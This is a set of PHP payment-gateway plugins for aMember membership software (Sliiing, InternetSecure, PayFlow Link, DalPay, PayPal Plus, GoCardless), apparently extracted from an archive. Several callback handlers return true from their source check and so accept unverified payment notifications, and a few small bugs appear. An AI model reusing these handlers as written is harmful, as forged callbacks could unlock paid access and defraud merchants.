'.$this->request->get('vpc_TxnResponseCode')); } return true; } public function validateTerms() { return ($this->invoice->first_total == ($this->request->get('vpc_Amount')/100)); } }PK\ ##payment/sliiing/sliiing.phpnu[getGrid()->getForm() ->addElement(new Am_Form_Element_SliiingBillers('_sliiing_billers', array('class' => 'props'))) ->setLabel(___('Sliiing Billers')) ->setValue(array( 'options' => array(), 'default' => array())); } function onGridProductBeforeSave(Am_Event $event) { $product = $event->getGrid()->getRecord(); $val = $event->getGrid()->getForm()->getValue(); $product->data()->setBlob('sliiing_billers', json_encode($val['_sliiing_billers'])); } function onGridProductValuesToForm(Am_Event $event) { $args = $event->getArgs(); $values = $args[0]; $product = $event->getGrid()->getRecord(); if ($sliiing_billers = json_decode($product->data()->getBlob('sliiing_billers'), true)) { $values['_sliiing_billers'] = $sliiing_billers; $event->setArg(0, $values); } } public function _initSetupForm(Am_Form_Setup $form) { } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $product = $this->getDi()->productTable->load($invoice->getItem(0)->item_id); $billers = json_decode($product->data()->getBlob('sliiing_billers'), true); if (!@count($billers['options'])) { $this->getDi()->errorLogTable->log("SLIING ERROR : please add billers for product #" . $product->pk()); throw new Am_Exception_InputError('An error occurred while payment request'); } elseif (count($billers['options']) == 1) { //redirect $aff = '0'; $lin = '0'; $refe_url = '0'; $ip = '0'; $keyword = '0'; if (isset($_COOKIE['MID'])) { $mid = base64_decode($_COOKIE['MID']); list($aff, $lin, $refe_url, $ip, $keyword) = explode('|', $mid); } $datas = base64_encode("$aff|$lin|$refe_url|$ip|$keyword"); $url = $billers['options'][0]; $url = str_replace('$datas', $datas, $url); $a = new Am_Paysystem_Action_Redirect($url); $a->x_invoice_id = $invoice->public_id; $a->username = $invoice->getUser()->login; $a->email = urlencode($invoice->getUser()->email); $result->setAction($a); } else { //show form $a = new Am_Paysystem_Action_HtmlTemplate_Sliiing($this->getDir(), 'sliiing-confirm.phtml'); $a->action = $this->getPluginUrl('confirm'); $a->billers = $billers; $a->invoice = $invoice; $result->setAction($a); } } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'confirm') { $invoice = $this->getDi()->invoiceTable->findFirstBy(array('public_id' => $request->get('invoice'))); if (!$invoice) throw new Am_Exception_InputError('An error occurred while payment request'); if ($user = $this->getDi()->auth->getUser()) { if ($user->user_id != $invoice->user_id) throw new Am_Exception_InputError('An error occurred while payment request'); } $product = $this->getDi()->productTable->load($invoice->getItem(0)->item_id); $billers = json_decode($product->data()->getBlob('sliiing_billers'), true); if (!@$billers['options'][$request->get('biller')]) throw new Am_Exception_InputError('An error occurred while payment request'); //redirect $aff = '0'; $lin = '0'; $refe_url = '0'; $ip = '0'; $keyword = '0'; if (isset($_COOKIE['MID'])) { $mid = base64_decode($_COOKIE['MID']); list($aff, $lin, $refe_url, $ip, $keyword) = explode('|', $mid); } $datas = base64_encode("$aff|$lin|$refe_url|$ip|$keyword"); $url = $billers['options'][$request->get('biller')]; $url = str_replace('$datas', $datas, $url) . '&x_invoice_id=' . $invoice->public_id. '&username='.$invoice->getUser()->login. '&email='. urlencode($invoice->getUser()->email); header('Location: ' . $url); exit; } else parent::directAction($request, $response, $invokeArgs); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Sliiing($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $ipn = Am_Html::escape($this->getPluginUrl('ipn')); return <<Sliiing payment plugin configuration 1. Enable "Sliiing" payment plugin at aMember CP->Setup->Plugins 2. Manage products in aMember and set up Sliiing biller(s) for desired product(s) 3. Log into your Sliiing account, visit Account -> My websites and set up "Point to our script" to $ipn CUT ; } } class Am_Form_Element_SliiingBillers extends HTML_QuickForm2_Element_Input { protected $attributes = array('type' => 'hidden'); public function __construct($name = null, $attributes = null, $data = null) { if (is_array($attributes) && isset($attributes['class'])) { $attributes['class'] = $attributes['class'] . ' options-editor'; } else { $attributes['class'] = 'options-editor'; } parent::__construct($name, $attributes, $data); } public function setValue($value) { $value = is_array($value) ? json_encode($value) : $value; parent::setValue($value); } public function getRawValue() { $value = parent::getRawValue(); return json_decode($value, true); } public function render(HTML_QuickForm2_Renderer $renderer) { $renderer->getJavascriptBuilder()->addElementJavascript($this->getJs()); return parent::render($renderer); } public function getJs() { return <<_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Transaction_Sliiing extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { return $this->request->get('transaction_id', $this->request->get('subscription_id')); } public function validateSource() { $this->_checkIp(<<request->get("x_invoice_id"); } function processValidated() { switch ($this->request->get("transaction")) { case 'new' : if (floatval($this->invoice->first_period) == 0) $this->invoice->addAccessPeriod($this); else $this->invoice->addPayment($this); break; case 'rebill' : $this->invoice->addPayment($this); break; case 'expire' : $this->invoice->stopAccess($this); break; case 'chargeback' : case 'refund' : $this->invoice->addRefund($this, $this->request->get('accountingAmount')); break; } } }PK\s1-payment/sliiing/scripts/sliiing-confirm.phtmlnu[setLayout('layout.phtml'); ?>

    PK\RIRr payment/internet-secure.phpnu[getId(); $form->addText("merchant_id")->setLabel("Your Internetsecure Merhcant Number\n" . 'it must be a numeric value'); $form->addAdvCheckbox("testing")->setLabel("Test Mode Enabled"); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->MerchantNumber = $this->getConfig('merchant_id'); $a->Products = sprintf("%s::1::999::%s::", $invoice->first_total,$invoice->getLineDescription()); $a->ReturnCGI = $this->getPluginUrl('thanks'); $a->xxxName = $invoice->getName(); $a->xxxAddress = $invoice->getStreet(); $a->xxxCity = $invoice->getCity(); $a->xxxProvince = $invoice->getState(); $a->xxxCountry = $invoice->getCountry(); $a->xxxPostal = $invoice->getZip(); $a->xxxEmail = $invoice->getEmail(); $a->xxxVar1 = $invoice->public_id; if($this->getConfig('testing')){ $a->Products .= '{TEST}'; } $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { ; } function createThanksTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_InternetSecure($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } } class Am_Paysystem_Transaction_InternetSecure extends Am_Paysystem_Transaction_Incoming_Thanks { function __construct(Am_Paysystem_Abstract $plugin, Am_Mvc_Request $request, Am_Mvc_Response $response, $invokeArgs) { parent::__construct($plugin, $request, $response, $invokeArgs); } function findInvoiceId() { return $this->request->getFiltered('xxxVar1'); } public function getUniqId() { return $this->request->getFiltered('receiptnumber'); } public function validateSource() { return true; } public function validateStatus() { return ($this->request->get('ApprovalCode') && $this->request->get('receiptnumber'))? true : false; } public function validateTerms() { return $this->request->get('amount') == $this->invoice->first_total; } }PK\v@- - payment/payflow-link.phpnu[addText("login")->setLabel('Your PayFlow username'); $form->addText("partner")->setLabel('Your PayFlow Partner Name'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::URL); $a->LOGIN = $this->getConfig('login'); $a->PARTNER = $this->getConfig('partner'); $a->AMOUNT = sprintf('%.2f', $invoice->first_total); $a->TYPE = 'S'; $a->INVOICE = $invoice->public_id; $a->DESCRIPTION = $invoice->getLineDescription(); $a->NAME = $invoice->getName(); $a->ADDRESS = $invoice->getStreet(); $a->CITY = $invoice->getCity(); $a->STATE = $invoice->getState(); $a->COUNTRY = $invoice->getCountry(); $a->ZIP = $invoice->getZip(); $a->EMAIL = $invoice->getEmail(); $a->PHONE = $invoice->getPhone(); $result->setAction($a); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { return new Am_Paysystem_Transaction_PayflowLink($this, $request, $response, $invokeArgs); } public function getRecurringType() { return self::REPORTS_NOT_RECURRING; } public function getReadme() { $url = $this->getPluginUrl('ipn'); return <<Payfloe link payment plugin configuration Set "IPN URL" for your payflow account to $url CUT; } public function directAction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if($request->getFiltered('INVNUM', $request->getFiltered('INVOICE'))=='') $response->setRedirect($this->getRootUrl() . '/thanks'); else parent::directAction($request, $response, $invokeArgs); } } class Am_Paysystem_Transaction_PayflowLink extends Am_Paysystem_Transaction_Incoming { public function findInvoiceId() { return $this->request->getFiltered('INVNUM', $this->request->getFiltered('INVOICE')); } public function getUniqId() { return $this->request->getFiltered('PNREF'); } public function validateSource() { return true; } public function validateStatus() { return (!(in_array($this->request->getFiltered('RESPMSG'), array('AVSDECLINED','CSCDECLINED')) && ($this->request->getInt('RESULT')==0))); } public function validateTerms() { return (doubleval($this->request->get('AMT',$this->request->get('AMOUNT'))) == doubleval($this->invoice->first_total)); } }PK\ZIpayment/dalpay-checkout.phpnu[ 'monthly', '3m' => 'quarterly', '6m' => 'sixmonthly', '12m' => 'yearly', '1y' => 'yearly' ); public function isNotAcceptableForInvoice(Invoice $invoice) { if ($invoice->rebill_times) { $first_period = new Am_Period($invoice->first_period); if (!(float) $invoice->first_total) { return ___('Can not handle this billing terms'); } if ($invoice->first_period != $invoice->second_period && $first_period->getUnit() != 'd') { return ___('Can not handle this billing terms'); } if (!in_array($invoice->second_period, array_keys($this->rebill_type_map))) { return ___('Can not handle this billing terms'); } } return parent::isNotAcceptableForInvoice($invoice); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getSupportedCurrencies() { return array('USD', 'GBP', 'EUR', 'JPY', 'CAD', 'AUD', 'ZAR', 'ISK'); } public function _initSetupForm(Am_Form_Setup $form) { $form->setTitle('Dalpay (Checkout)'); $form->addText('mer_id', array('size' => 20)) ->setLabel('Your Merchant ID#'); $form->addText('pageid') ->setLabel('The order page sub-account'); $form->addPassword('password') ->setLabel('Silent Post Password'); $form->addPassword('notify_password') ->setLabel('Server Notification Password'); } public function _process(Invoice $invoice, Am_Mvc_Request $request, Am_Paysystem_Result $result) { $a = new Am_Paysystem_Action_Redirect(self::GATEWAY); $result->setAction($a); $a->mer_id = $this->getConfig('mer_id'); $a->pageid = $this->getConfig('pageid'); $a->next_phase = 'paydata'; $a->valuta_code = $invoice->currency; $user = $invoice->getUser(); $a->cust_name = $user->getName(); $a->cust_email = $user->email; $a->cust_phone = $user->phone; $a->cust_address1 = $user->street; $a->cust_address2 = $user->street2; $a->cust_city = $user->city; $a->cust_state = $user->state ? $user->state : 'N/A'; $a->cust_zip = $user->zip ? $user->zip : '99999'; $a->cust_country_code = $user->country; $num = 0; foreach ($invoice->getItems() as $item) { $num++; $a->{"item{$num}_desc"} = $item->item_title; $a->{"item{$num}_price"} = $item->first_price; $a->{"item{$num}_qty"} = $item->qty; } $a->num_items = $num; if ((float) $invoice->first_discount) { $a->sales_discount_amout = $invoice->first_discount; } if ((float) $invoice->first_tax) { $a->sales_tax_amout = $invoice->first_tax; } $a->user1 = $invoice->public_id; if ((float) $invoice->second_total) { $a->rebill_type = $this->getRebillType($invoice); $a->rebill_desc = $invoice->getLineDescription(); if ($invoice->rebill_times != IProduct::RECURRING_REBILLS) { $a->rebill_count = $invoice->rebill_times; } } } public function getRebillType(Invoice $invoice) { $res = array(); $first_period = new Am_Period($invoice->first_period); $res[] = $this->rebill_type_map[$invoice->second_period]; $res[] = $invoice->second_total; if ($first_period->getUnit() == 'd') { $res[] = $first_period->getCount(); } return implode('-', $res); } public function createTransaction(Am_Mvc_Request $request, Am_Mvc_Response $response, array $invokeArgs) { if ($request->getActionName() == 'callback') { return new Am_Paysystem_Transaction_DalpayCheckout_Callback($this, $request, $response, $invokeArgs); } else { return new Am_Paysystem_Transaction_DalpayCheckout_Ipn($this, $request, $response, $invokeArgs); } } public function getReadme() { $callback = $this->getPluginUrl('callback'); $ipn = $this->getPluginUrl('ipn'); $order = $this->getDi()->url('signup',null,true,true); return <<$order You need to enable Silent Post Callback and set PostURL for your Order Page in DalPay account DalPay Account -> Order Page -> Settings $callback You need to add user1 and trans_id to Silent Post Fields Recurring Subscriptiono Notes: ----------------------------- When issued a fresh DalPay account, rebillings may be initially blocked. Contact DalPay Support to unblock rebillings and/or to raise the maximum rebilling amount per transaction. Only monthly, quarterly, six monthly, and yearly rebilling intervals are supported. You need to setup Merchant Server Notification at DalPay Account -> Order Page -> Server Notifications $ipn You need to add user1 to ExtraFields CUT; } } abstract class Am_Paysystem_Transaction_DalpayCheckout extends Am_Paysystem_Transaction_Incoming { function init() { header('X-PHP-Response-Code: 200', true, 200); if ($this->request->isGet() && $this->request->getRawBody()) { $res = array(); parse_str($this->request->getRawBody(), $res); foreach ($res as $k => $v) { $this->request->setParam($k, $v); } } } function getUniqId() { return $this->request->getParam('trans_id'); } function findInvoiceId() { return $this->request->getParam('user1'); } } class Am_Paysystem_Transaction_DalpayCheckout_Callback extends Am_Paysystem_Transaction_DalpayCheckout { function validateSource() { return $this->request->getParam('SilentPostPassword') == $this->getPlugin()->getConfig('password'); } function validateStatus() { return true; } function validateTerms() { return $this->request->getParam('total_amount') == $this->invoice->first_total; } function processValidated() { $thanks = $this->getPlugin()->getRootUrl() . "/thanks?id=" . $this->invoice->getSecureId("THANKS"); $title = $this->getPlugin()->getDi()->config->get('site_title'); parent::processValidated(); echo <<

    CLICK HERE to return to $title website

    CUT; exit; } } class Am_Paysystem_Transaction_DalpayCheckout_Ipn extends Am_Paysystem_Transaction_DalpayCheckout { function validateSource() { return ((int) $this->request->getParam('pageid') == (int) $this->getPlugin()->getConfig('pageid')) && $this->request->getParam('NotificationPassword') == $this->getPlugin()->getConfig('notify_password'); } function validateStatus() { return $this->request->getParam('trans_type') == 'debit' && $this->request->getParam('status') == 'accepted'; } function validateTerms() { return true; } }PK\v##)payment/paypal-plus/scripts/confirm.phtmlnu[setLayout('layout.phtml'); ?>
    _script('_receipt.phtml'); ?>

    PK\ ''#payment/paypal-plus/paypal-plus.phpnu[addText('client_id', array('size' => 60))->setLabel(___("OAuth client_id")); $form->addText('secret', array('size' => 60))->setLabel(___("OAuth Secret")); $form->addAdvCheckbox('testing')->setLabel('Test mode'); $form->addText('secret', array('size' => 60))->setLabel( ___("Paypal interface language\n en_US - english, de_DE - german, default is german") ); } function getReadme() { return <<getApi(); $items = array( ); foreach ($invoice->getItems() as $item) { $item = array( 'name' => $item->item_title, 'quantity' => intval($item->qty), 'price' => floatval($item->first_price), 'currency' => $invoice->currency ); $items['items'][] = $item; } $data = array( 'intent' => 'sale', 'redirect_urls' => array( 'return_url' => $this->getPluginUrl('thanks'), 'cancel_url' => $this->getCancelUrl() ), 'payer' => array( 'payment_method' => 'paypal' ), 'transactions' => array( array( 'amount' => array( 'currency' => $invoice->currency, 'total' => floatval($invoice->first_total), 'details' => array( 'subtotal' => floatval($invoice->first_subtotal), 'tax' => $invoice->first_tax, ) ), 'description' => $invoice->getLineDescription(), 'invoice_number' => $invoice->public_id, 'item_list' => $items, ) ), ); $payment = $api->createPayment($data, $invoice); if (empty($payment['id'])) throw new Am_Exception_InternalError("No transaction id was returned. Create request wasn't successful."); $invoice->data()->set(self::PAYMENT_KEY, $payment['id'])->update(); $a = new Am_Paysystem_Action_HtmlTemplate_PaypalPlus($this->getDir(), 'confirm.phtml'); $a->payment = $payment; $a->approval_url = $this->getApprovalUrl($payment); $a->invoice = $invoice; $a->country = $invoice->getCountry() ? : 'DE'; $a->mode = $this->getConfig('testing') ? 'sandbox' : 'live'; $a->language = $this->getConfig('language', 'de_DE'); $result->setAction($a); } function getApprovalUrl($payment) { foreach (@$payment['links'] as $r) if (@$r['rel'] == 'approval_url') return @$r['href']; } /** * * @return \Am_PaypalRestAPI */ function getApi() { return new Am_PaypalRestAPI( $this->getDi(), ($this->getConfig('testing') ? self::SANDBOX_ENDPOINT : self::LIVE_ENDPOINT), $this->getConfig('client_id'), $this->getConfig('secret') ); } function createThanksTransaction($request, $response, array $invokeArgs) { return new Am_Paysystem_Transaction_PaypalPlus($this, $request, $response, $invokeArgs); } function processRefund(\InvoicePayment $payment, \Am_Paysystem_Result $result, $amount) { $api = $this->getApi(); $req = $api->createApiRequest($api->getEndpoint(sprintf('/v1/payments/sale/%s/refund',$payment->getInvoice()->data()->get(self::PAYMENT_KEY))), "POST"); $ret = $api->_processRequest($req, new stdClass, $payment->getInvoice()); if(@$ret['state'] == 'completed') return true; } } class Am_PaypalRestAPI { protected $di, $endpoint, $client_id, $secret; const TOKEN_KEY = 'paypal-rest-token'; function __construct(Am_Di $di, $endpoint, $client_id, $secret) { $this->di = $di; $this->endpoint = $endpoint; $this->client_id = $client_id; $this->secret = $secret; } /** * * @return Am_Di */ function getDi() { return $this->di; } function getEndpoint($function) { return $this->endpoint . $function; } function requestToken() { $req = new Am_HttpRequest($this->getEndpoint('/v1/oauth2/token')); $req->setMethod(Am_HttpRequest::METHOD_POST); $req->setHeader('Accept', 'application/json'); $req->setAuth($this->client_id, $this->secret); $req->addPostParameter('grant_type', 'client_credentials'); $resp = $req->send(); if ($resp->getStatus() !== 200) throw new Am_Exception_InternalError(___("Can't obtaint OAuth2 token")); $ret = json_decode($resp->getBody(), true); if (empty($ret['access_token'])) throw new Am_Exception_InternalError(___('Token is empy in response object')); return $ret; } function getToken() { $token = $this->getDi()->store->get(self::TOKEN_KEY); if (empty($token)) { $token = $this->requestToken(); $this->getDi()->store->set(self::TOKEN_KEY, $token['access_token'], "+" . $token['expires_in'] . " seconds"); $token = $token['access_token']; } return $token; } function createPayment($data, Invoice $invoice) { $req = $this->createApiRequest($this->getEndpoint('/v1/payments/payment'), "POST"); return $this->_processRequest($req, $data, $invoice); } function _processRequest(Am_HttpRequest $req, $data, Invoice $invoice) { $log = $invoice->getDi()->invoiceLogRecord; $log->setInvoice($invoice); $log->title = $req->getMethod() . ': ' . $req->getUrl(); $log->add(array('request' => $data), true); $req->setBody(json_encode($data)); $req->setHeader('Content-Type', 'application/json'); $resp = $req->send(); $body = $resp->getBody(); $ret = json_decode($body, true); $log->add(array('response' => $ret), true); if (@$ret['message']) { throw new Am_Exception_InputError($ret['message']); } return $ret; } function executePayment($payment_id, $payer_id, $invoice) { $req = $this->createApiRequest($this->getEndpoint(sprintf('/v1/payments/payment/%s/execute', $payment_id)), 'POST'); return $this->_processRequest($req, array('payer_id' => $payer_id), $invoice); } function createApiRequest($uri, $method = 'GET') { $req = new Am_HttpRequest($uri); $req->setMethod($method); $req->setHeader('Authorization', "Bearer " . $this->getToken()); return $req; } } class Am_Paysystem_Action_HtmlTemplate_PaypalPlus extends Am_Paysystem_Action_HtmlTemplate { protected $_template, $_path; public function __construct($path, $template) { $this->_template = $template; $this->_path = $path; } public function process(Am_Mvc_Controller $action = null) { $action->view->addBasePath($this->_path); $action->view->assign($this->getVars()); $action->view->headScript()->appendFile('https://www.paypalobjects.com/webstatic/ppplus/ppplus.min.js'); $action->renderScript($this->_template); throw new Am_Exception_Redirect; } } class Am_Paysystem_Transaction_PaypalPlus extends Am_Paysystem_Transaction_Incoming_Thanks { public function getUniqId() { return $this->request->get('paymentId'); } function findInvoiceId() { $invoice = $this->getPlugin()->getDi()->invoiceTable->findFirstByData(Am_Paysystem_PaypalPlus::PAYMENT_KEY, $this->request->get('paymentId')); if ($invoice) return $invoice->public_id; } public function validateSource() { return true; } public function validateStatus() { $payment_id = $this->request->get('paymentId'); if ($this->invoice->data()->get(Am_Paysystem_PaypalPlus::PAYMENT_KEY) != $this->request->get('paymentId')) throw new Am_Exception_InternalError('Payment was created for different invoice'); $ret = $this->getPlugin()->getApi()->executePayment($payment_id, $this->request->get('PayerID'), $this->invoice); return (@$ret['state'] == 'approved'); } public function validateTerms() { return true; } function processValidated() { $this->invoice->addPayment($this); } } PK\iYYpayment/gocardless.phpnu[Your direct debit instruction has been setup successfully and your first payment of £%invoice.first_total% will typically take 7-10 days to process. Please check your email for confirmation of your payment dates.

    \n

    Please note that your membership access will be granted once your payment has been received.

    \n

    Your invoice reference: %invoice.public_id%

    \n

    %receipt_html%

    "; const DEBUG = true; public function supportsCancelPage() { return true; } public function getSupportedCurrencies() { return array('GBP'); } public function isNotAcceptableForInvoice(Invoice $invoice) { $supportedCountries = array('GB','AT','BE','CY', 'EE','FI','FR', 'DE','GR','IE','IT','LV','LU','MT', 'MC','NL','PT','SM','SK','SI','ES'); if (!in_array($invoice->getCountry(), $supportedCountries)) { return array(___('Direct Debits are not available in your country (%s)', $invoice->getCountry())); } parent::isNotAcceptableForInvoice($invoice); } public function _initSetupForm(Am_Form_Setup $form) { $form->addText('merchant_id', array('size' => 10)) ->setLabel('Your Merchant ID'); $form->addText('app_id', array('size' => 64)) ->setLabel('Your App identifier'); $form->addText('app_secret', array('size' => 64)) ->setLabel('Your App secret'); $form->addText('access_token', array('size' => 64)) ->setLabel('Your Merchant access token'); $form->addAdvCheckbox("accept_pending_bills") ->setLabel("Recognize pending payments as completed"); $form->addAdvCheckbox("testing") ->setLabel("Is it a Sandbox(Testing) Account?"); $form->addTextarea("html", array('class' => 'el-wide', "rows"=>20))->setLabel( ___("Payment Instructions for customer\n". "you can enter any HTML here, it will be displayed to\n". "customer when they set up a direct debit using this payment system\n". "you can use the following tags:\n". "%s - Receipt HTML\n". "%s - Invoice Title\n". "%s - Invoice Id\n". "%s - Invoice Total", '%receipt_html%', '%invoice_title%', '%invoice.public_id%', '%invoice.first_total%')); $form->setDefault('html', self::DEFAULT_PENDING_HTML); } public function isConfigured() { return $this->getConfig('merchant_id') && $this->getConfig('app_id') && $this->getConfig('app_secret') && $this->getConfig('access_token'); } public function getRecurringType() { return self::REPORTS_REBILL; } public function getReadme() { $rootURL = $this->getDi()->url('',null,true,2); $url = Am_Html::escape($this->getPluginUrl('ipn')); return <<GoCardless payment plugin configuration 1. Enable "gocardless" payment plugin at aMember CP->Setup->Plugins 2. Configure "GoCardless" payment plugin at aMember CP -> Setup/Configuration -> GoCardless 3. Set up "Webhook URI" in your GoCardless merchant account to $url Set up "Redirect URI" and "Cancel URI" to $rootURL 4. You can test the payments in 'sandbox' mode using Account number : 55779911 Sort code : 20-00-00 CUT; } protected function generate_nonce() { $n = 1; $rand = ''; do { $rand .= rand(1, 256); $n++; } while ($n <= 45); return base64_encode($rand); } public function _process(Invoice $invoice, Am_Request $request, Am_Paysystem_Result $result) { $u = $invoice->getUser(); //* Recurring payment: Create a GoCardless Subscription if(!is_null($invoice->second_period)){ $a = new Am_Paysystem_Action_Redirect($url = ($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL) . '/connect/subscriptions/new'); $coef = 1; if($invoice->second_period == Am_Period::MAX_SQL_DATE) { $interval_unit = 'month'; $interval_length = 12*(2037-date('Y')); } else { $second_period = new Am_Period($invoice->second_period); switch ($second_period->getUnit()) { case 'd': $interval_unit = 'day'; break; case 'm': $interval_unit = 'month'; break; case 'y': $interval_unit = 'month'; $coef = 12; break; } $interval_length = $second_period->getCount(); } $first_period = new Am_Period($invoice->first_period); $start_at = new DateTime($first_period->addTo(date('Y-m-d')), new DateTimeZone('UTC')); $payment_details = array( 'amount' => $invoice->second_total, 'interval_length' => $interval_length*$coef, 'interval_unit' => $interval_unit, 'name' => $invoice->getLineDescription(), 'start_at' => $start_at->format('Y-m-d\TH:i:s\Z') ); if($invoice->rebill_times != IProduct::RECURRING_REBILLS) $payment_details['interval_count'] = $invoice->rebill_times; if (doubleval($invoice->first_total)>0) $payment_details['setup_fee'] = $invoice->first_total; } //* One-off payment: Create a GoCardless Bill else { $a = new Am_Paysystem_Action_Redirect($url = ($this->getConfig('testing') ? self::SANDBOX_URL : self::LIVE_URL) . '/connect/bills/new'); $payment_details = array( 'amount' => $invoice->first_total, 'name' => $invoice->getLineDescription() ); } //* Build common billing information $user_details = array( 'first_name' => $u->name_f, 'last_name' => $u->name_l, 'email' => $u->email, 'billing_address1' => $u->street, 'billing_address2' => $u->street2, 'billing_town' => $u->city, 'billing_postcode' => $u->zip, 'country_code' => $u->country, ); $payment_details['merchant_id'] = $this->getConfig('merchant_id'); ksort($payment_details); ksort($user_details); if(is_null($invoice->second_period)) { foreach($payment_details as $v => $k) $a->__set("bill[$v]",$k); foreach($user_details as $v => $k) $a->__set("bill[user][$v]",$k); } $a->cancel_uri = $this->getCancelUrl(); $a->client_id = $this->getConfig('app_id'); $a->nonce = $this->generate_nonce(); $a->redirect_uri = $this->getPluginUrl('thanks'); $a->state = $invoice->public_id; if(!is_null($invoice->second_period)) { foreach($payment_details as $v => $k) $a->__set("subscription[$v]",$k); foreach($user_details as $v => $k) $a->__set("subscription[user][$v]",$k); } $date = new DateTime(null, new DateTimeZone('UTC')); $a->timestamp = $date->format('Y-m-d\TH:i:s\Z'); $url = parse_url($a->getUrl()); $a->signature = hash_hmac('sha256',$url['query'], $this->getConfig('app_secret'));; $result->setAction($a); } public function directAction(Am_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { if($request->getRawBody()) { $webhook = $request->getRawBody(); $webhook_array = json_decode($webhook, true); $request = new Am_Request($webhook_array, $request->getActionName()); } if ( 'pending' == $request->getActionName() ) { $invoice = $this->getDi()->invoiceTable->findBySecureId($request->getFiltered('id'), 'PENDING'); if (!$invoice) throw new Am_Exception_InputError(___("Sorry, seems you have used wrong link")); $view = new Am_View; $html = $this->getConfig('html', Am_Paysystem_Gocardless::DEFAULT_PENDING_HTML); $tpl = new Am_SimpleTemplate; $tpl->receipt_html = $view->partial('_receipt.phtml', array('invoice' => $invoice, 'di' => $this->getDi())); $tpl->invoice = $invoice; $tpl->user = $this->getDi()->userTable->load($invoice->user_id); $tpl->invoice_id = $invoice->invoice_id; $tpl->cancel_url = $this->getDi()->url('cancel',array('id'=>$invoice->getSecureId('CANCEL')),false); $tpl->invoice_title = $invoice->getLineDescription(); $view->invoice = $invoice; $view->content = $tpl->render($html) . $view->blocks('payment/offline/bottom'); $view->title = $this->getTitle() . ___(' Setup'); $response->setBody($view->render("layout.phtml")); } else { parent::directAction($request, $response, $invokeArgs); } } function getReturnUrl(Zend_Controller_Request_Abstract $request = null) { if( doubleval($this->invoice->first_total) && !$this->getConfig('accept_pending_bills') ) { return $this->getPluginUrl('pending') . "?id=" . $this->invoice->getSecureId("PENDING"); } else { return $this->getRootUrl() . "/thanks?id=" . $this->invoice->getSecureId("THANKS"); } } public function createTransaction(Am_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gocardless_Ipn($this, $request, $response, $invokeArgs); } public function createThanksTransaction(Am_Request $request, Zend_Controller_Response_Http $response, array $invokeArgs) { return new Am_Paysystem_Transaction_Gocardless_Thanks($this, $request, $response, $invokeArgs); } private function _sendRequest($url, $params, $method = 'POST') { $request = $this->createHttpRequest(); $request->setHeader(array( 'Accept' => 'application/json', 'User-Agent' => 'gocardless-php/v0.3.3', 'Authorization' => 'Bearer '.$this->getConfig('access_token'), )); $request->setAuth($this->getConfig('app_id'), $this->getConfig('app_secret')); $request->setUrl(($this->getConfig('testing') ? Am_Paysystem_Gocardless::SANDBOX_URL : Am_Paysystem_Gocardless::LIVE_URL) . $url); $request->setMethod($method); if (!is_null($params)) { $request->setBody(json_encode($params)); } if (Am_Paysystem_Gocardless::DEBUG) $this->logOther('Request to '.$url, var_export($params, true)); $response = $request->send(); if (Am_Paysystem_Gocardless::DEBUG) $this->logOther('Response to '.$url, var_export($response, true)); return $response; } public function cancelAction(Invoice $invoice, $actionName, Am_Paysystem_Result $result) { // Cancelling subscription $gocardless_id = $invoice->data()->get('gocardless_id'); $response = $this->_sendRequest('/api/v1/subscriptions/'.$gocardless_id.'/cancel', null, 'PUT'); $subscription = json_decode($response->getBody(),true); if ($response->getStatus() !== 200 || 'cancelled' != $subscription['status']) { throw new Am_Exception_InputError('An error occurred while processing your cancellation request'); } } public function processRefund(InvoicePayment $payment, Am_Paysystem_Result $result, $amount) { // Refund Bill $response = $this->_sendRequest('/api/v1/bills/'.$payment->transaction_id.'/refund', null, 'POST'); $bill = json_decode($response->getBody(),true); if ($response->getStatus() !== 201 || 'refunded' != $bill['status']) { throw new Am_Exception_InputError('This payment cannot be refunded'); } } } class Am_Paysystem_Transaction_Gocardless_Base extends Am_Paysystem_Transaction_Incoming { public function getUniqId() { } public function findInvoiceId() { } public function validateSource() { return true; } public function validateTerms() { return true; } public function validateStatus() { return true; } /** * Generates, encodes, re-orders variables for the query string. * * @see GoCardless PHP library https://github.com/gocardless/gocardless-php * Taken from: lib/GoCardless/Utils.php */ public function generate_query_string($params, &$pairs = array(), $namespace = null) { if (is_array($params)) { foreach ($params as $k => $v) { if (is_int($k)) { $this->generate_query_string($v, $pairs, $namespace . '[]'); } else { $this->generate_query_string($v, $pairs, $namespace !== null ? $namespace . "[$k]" : $k); } } if ($namespace !== null) { return $pairs; } if (empty($pairs)) { return ''; } usort($pairs, array($this, 'sortPairs')); $strs = array(); foreach ($pairs as $pair) { $strs[] = $pair[0] . '=' . $pair[1]; } return implode('&', $strs); } else { $pairs[] = array(rawurlencode($namespace), rawurlencode($params)); } } /** * Sorts a pair * * @see GoCardless PHP library https://github.com/gocardless/gocardless-php * Taken from: lib/GoCardless/Utils.php */ public static function sortPairs($a, $b) { $keys = strcmp($a[0], $b[0]); if ($keys !== 0) { return $keys; } return strcmp($a[1], $b[1]); } } class Am_Paysystem_Transaction_Gocardless_Bill extends Am_Paysystem_Transaction_Gocardless_Base { public function getUniqId() { return $this->request->get('id'); } public function findInvoiceId() { //* Look 